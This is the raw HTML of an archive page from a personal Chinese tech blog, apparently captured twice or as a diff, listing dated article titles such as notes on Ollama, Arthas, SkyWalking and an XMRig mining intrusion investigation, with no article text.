dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 19, 2024"><span class="text-gray-400">2024-01-19</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240119-notion">Notion文章自动同步GitPage</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 18, 2024"><span class="text-gray-400">2024-01-18</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/example">示例文章</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 1, 2024"><span class="text-gray-400">2024-01-01</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/begin">开始</a></div></li></ul></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>Archive | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Archive | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//archive"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="Archive | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/archive-ce5c9a13f1b707ce.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mb-10 pb-20 md:py-12 py-3  min-h-full"><div><div id="2024-03" class="pt-16 pb-4 text-3xl dark:text-gray-300">2024-03</div><ul><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 25, 2024"><span class="text-gray-400">2024-03-25</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240325-ollama">mac体验ollama本地大模型</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 20, 2024"><span class="text-gray-400">2024-03-20</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240320-arthas">Arthas简单使用备忘录</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Mar 19, 2024"><span class="text-gray-400">2024-03-19</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></li></ul></div><div><div id="2024-01" class="pt-16 pb-4 text-3xl dark:text-gray-300">2024-01</div><ul><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 24, 2024"><span class="text-gray-400">2024-01-24</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 21, 2024"><span class="text-gray-400">2024-01-21</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 19, 2024"><span class="text-gray-400">2024-01-19</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/240119-notion">Notion文章自动同步GitPage</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 18, 2024"><span class="text-gray-400">2024-01-18</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/example">示例文章</a></div></li><li class="border-l-2 p-1 text-xs md:text-base items-center  hover:scale-x-105 hover:border-gray-500 dark:hover:border-gray-300 dark:border-gray-400 transform duration-500"><div id="Jan 1, 2024"><span class="text-gray-400">2024-01-01</span> <!-- --> <a class="dark:text-gray-400  dark:hover:text-gray-300 overflow-x-hidden hover:underline cursor-pointer text-gray-600" href="/article/begin">开始</a></div></li></ul></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"><div id="info-card" class="py-4"><div class="items-center justify-center"><div class="hover:scale-105 transform duration-200 cursor-pointer flex justify-center"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="120" class="rounded-full"/></div><div class="text-xl py-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-300">Both Savage</div><div class="font-light text-gray-600 mb-2 hover:scale-105 transform duration-200 flex justify-center dark:text-gray-400">talk is cheap</div><div class="space-x-3 text-xl text-gray-600 dark:text-gray-400 flex-wrap flex justify-center "><a target="_blank" rel="noreferrer" title="github" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github transform hover:scale-125 duration-150 hover:text-green-600"></i></a><a target="_blank" rel="noreferrer" title="email" href="mailto:bothsavage@163.com"><i class="fas fa-envelope transform hover:scale-125 duration-150 hover:text-green-600"></i></a></div></div></div></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
